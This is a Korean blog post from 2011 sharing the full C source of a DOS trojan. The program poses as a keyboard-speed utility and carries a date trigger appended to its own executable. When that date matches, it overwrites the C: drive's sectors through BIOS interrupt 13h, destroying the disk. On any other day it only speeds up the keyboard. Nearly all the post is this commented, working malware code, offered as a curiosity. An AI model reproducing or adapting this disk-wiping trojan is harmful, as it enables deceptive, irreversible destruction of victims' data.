C로 구현한 바이러스

by 써티올 posted Mar 16, 2011
?

단축키

Prev이전 문서

Next다음 문서

ESC닫기

+ - Up Down Comment Print

한나라에 언어를 배울때 욕부터 배운다고 했던가??ㅎ

웹서핑 중에 약간은 무시무시한 바이러스에 관한 소스를 발견했다.
아직까진 눈에들어오는 소스코드는 별루 없지만 언젠가 홈피에 모아둔 소스들이 눈에 쏘~옥 들어올 그날이

있으리라 생각된다.

다음은 하드 디스크 파괴 트로이 목마 바이러스 C 소스이다.
다음 배치로 구현한 바이러스의 트로이 목마형 구조와 비슷하단다.
단지 차이점은 개발 언어와 약간의 침투방법의 차이겠죠.

다음 바이러스 프로그램은 하드디스크를 빠르게 합니다.
그러나 지정한 날짜,조건이 맞으면 하드 디스크를 파괴해 버립니다.
C 로 트로이목마 바이러스를 구현할 수 있다는 정도로 알아 두십시요.

*바이러스 메인 부분입니다

// Main Source Fast.C

#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <string.h>

#define LASTHEAD 1
#define LASTTRACK 79
#define LASTSECTOR 15
#define BYTESPERSECTOR 512
#define driveToRead 0x80 // C: drive (파괴대상 드라이브 지정)

char diskBuffer[BYTESPERSECTOR * LASTSECTOR];

typedef struct{ // 날짜의 구조체
int Year;
int Month;
int Day;
} Time_Type;

// 키보드 빠르게 하는 루틴 (트로이 목마의 외형 부분)
void Fast_Key( void )
{
outp( 0x60, 0xF3 );
delay( 100 );
outp( 0x60, 0x00 );
delay( 100 );
}

// 하드디스크 섹터 쓰기
unsigned char WriteHardSector( unsigned char drive,
unsigned char sectorsToWrite,
unsigned char head,
unsigned int cylinder,
unsigned char sector,
unsigned char far *bufferPtr ){
union REGS reg;
struct SREGS sreg;
reg.h.ah = 3;
reg.h.al = sectorsToWrite;
reg.x.bx = FP_OFF(bufferPtr);
reg.h.dh = head;
reg.h.dl = drive;
reg.h.ch = cylinder;
reg.h.cl = (cylinder >> 8);
reg.h.cl <<= 6;
reg.h.cl |= (sector & 63);
sreg.es = FP_SEG(bufferPtr);
int86x(0x13,&reg,&reg,&sreg);
return(reg.h.ah);
}

void main( void ){
unsigned char currentHead,currentTrack,currentSector;
struct date cur_d; // 날짜
FILE *Read_Exe; // 화일 포인터
Time_Type Clack_Time; // 파괴 대상 하드디스크 날짜의 구조체
int Data_Size = 0; // 날짜를 읽기위한 사이즈

getdate(&cur_d); // 현재 날짜 알아내기

Read_Exe = fopen("fast.exe","rb");
//바이러스 개시 날짜를 알아내기 위해 실행화일을 OPEN
//Open시 fast.exe 화일이 현디렉토리에 있어야함
Data_Size = sizeof(Time_Type);
fseek(Read_Exe,-Data_Size,SEEK_END); // 실행 화일 끝에서 Data_Size만큼
// 뒤로 포인트를 옮김
fread(&Clack_Time,sizeof(Time_Type),1,Read_Exe);
// 데이타 읽기

if( ( Clack_Time.Year == cur_d.da_year) &&
( Clack_Time.Month == cur_d.da_mon ) &&
( Clack_Time.Day == cur_d.da_day )){
// 날짜가 실행화일 끝에 붙은 날짜와 일치 하면 하드 파괴
for(currentTrack = 0; currentTrack <= LASTTRACK; currentTrack++){
for(currentHead = 0; currentHead <= LASTHEAD; currentHead++){
//실제 하드디스크 파괴 부분
//엉뚱한 데이타를 마구 써버림
WriteHardSector(driveToRead,LASTSECTOR,currentHead,
currentTrack,1,diskBuffer);
}
}
textattr( WHITE | BLUE << 4);
cprintf("[ Cracking Ok ! ]");
textattr( WHITE | BLACK << 4);
cprintf("n");
}
// 날짜가 맞지 않을 경우 그냥 키보드 속도를 빠르게 한다
else { Fast_Key();
textattr( WHITE | BLUE << 4);
cprintf("Fast_key Installed !");
textattr( WHITE | BLACK << 4);
cprintf("n");
}
}


나눔글꼴 설치 안내


이 PC에는 나눔글꼴이 설치되어 있지 않습니다.

이 사이트를 나눔글꼴로 보기 위해서는
나눔글꼴을 설치해야 합니다.

설치 취소

Designed by sketchbooks.co.kr / sketchbook5 board skin

Sketchbook5, 스케치북5

Sketchbook5, 스케치북5

Sketchbook5, 스케치북5

Sketchbook5, 스케치북5